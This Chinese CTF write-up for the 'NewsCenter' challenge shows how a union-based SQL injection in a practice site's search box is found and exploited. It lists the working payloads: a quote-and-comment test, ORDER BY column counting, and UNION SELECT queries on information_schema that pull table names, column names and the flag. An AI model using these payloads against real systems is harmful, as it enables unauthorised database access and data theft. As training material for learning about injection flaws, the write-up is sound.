攻防世界-NewsCenter

题目信息

分析过程

题目打开是有个输入框可以用来输入搜索信息,初步判断是个sql注入的题目。接下来判断能否进行sql注入:

输入 hi,有搜索结果,如下图:
输入hi',无结果,如下图:
初步判定是hi'后面还有单引号,导致重复输入导致的,(单引号与服务端代码中的'形成闭合,将我们输入的字符串hello包裹,服务端代码后面多出来一个'导致语法错误,而加入#将后面的'注释掉之后不会报错,可确定为字符型SQL注入。)为了证明判断结果,输入hi'#(意思#后面的内容都要呗注释掉),结果如下图:
证明确实存在sql注入的问题,解题思路为朝着sql注入的方向努力。

解题过程

  1. 判断字段的个数:使用order by 确定。原理:order by根据前面查询内容的属性对查询数据进行分类,order by 后面的内容可以少于前面查询的属性数,但是不能多于查询的属性数
    hi' order by 1#:
    hi' order by 2#
    hi' order by 3#
    hi' order by 4#

证明是三个字段。

  1. 使用union联合表法注入。

输入hi' union select 1,2,3#:
只有2,3列回显,ps:

输入:

复制代码
hi' union select 1,#
hi' union select 1,2#
hi' union select 2,3#

都无法正常回显。

  1. 使用

    hi' union select 1,database(),version()#

查询数据库版本和名称

可以看到数据库名称是news,数据库版本是5.5.61。版本是5.0版本以上,我们可以通过系统的数据库来获取很多想要的信息。

其中,database()的位置可以是任意的:(只要不是1就行,因为1不回显)

4.获取表名

hi' 复制代码

结果如下:

或者

复制代码
hi' union select 1,2,table_name from information_schema.tables where table_schema='news'#

结果如下:
得到表名news、secret_table

  1. 获取字段名:

    hi' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #

结果如下:
得到字段名id、fl4g;需要获得fl4g的字段内容

  1. 获得fl4g的字段内容,输入:

    hi' union select 1,id,fl4g from news.secret_table #

获得flag:

相关知识

  1. 5.0以上的版本自带information_schema数据库,这数据库下面又有schemata、tables、columns,这些表中又有(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)字段。
    2. 使用或者不使用group_concat都可以,相关用法如下:https://www.jb51.net/article/2844934ju.htm
    3.总结:
    查表:hi' union select 回显字段1,回显字段2,group_concat(table_name) from information_schema.tables where table_schema='news',在三个回显字段中选一个就行。
    查列:hi' union select 回显字段1,回显字段2,group_concat(column_name) from information_schema.columns where table_schema='news' #看表中有哪些列,也就是表含有哪些信息。
    查字段:hi' union select 回显字段1,回显字段2,fl4g from secret_table#,就是把表中的列里的具体数字搞出来。
相关推荐
wanhengidc3 小时前
服务器租用有何优点
运维·服务器·安全·web安全
csdn_aspnet3 小时前
Gemini赋能安全工程师,自动写PoC脚本,探索Gemini在网络安全领域辅助漏洞验证与POC生成的实战路径
安全·web安全·prompt·poc·gemini·工程师
Chengbei114 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
小江的记录本6 小时前
【JVM虚拟机】垃圾回收GC:垃圾回收算法:标记-清除、标记-复制、标记-整理、分代收集(附《思维导图》+《面试高频考点清单》)
java·jvm·后端·python·算法·安全·面试
超梦dasgg8 小时前
Java 生产环境第三方对接安全保障方案
java·开发语言·安全
IAR Systems8 小时前
软件定义汽车:构建更安全、更智能的汽车应用软件
安全·汽车·嵌入式·iar
无限进步_9 小时前
【C++】weak_ptr、循环引用与线程安全
开发语言·数据结构·c++·算法·安全
叶落阁主10 小时前
AntV npm 投毒复盘:一次公司私服缓存恶意包引发的账号封禁事件
前端·安全·npm
cfm_291410 小时前
MySQL8.0 核心新特性详解(架构/性能/SQL/索引/安全全覆盖)
sql·安全·架构
lcreek11 小时前
Java安全:理解JNDI注入与Fastjson反序列化漏洞
java·安全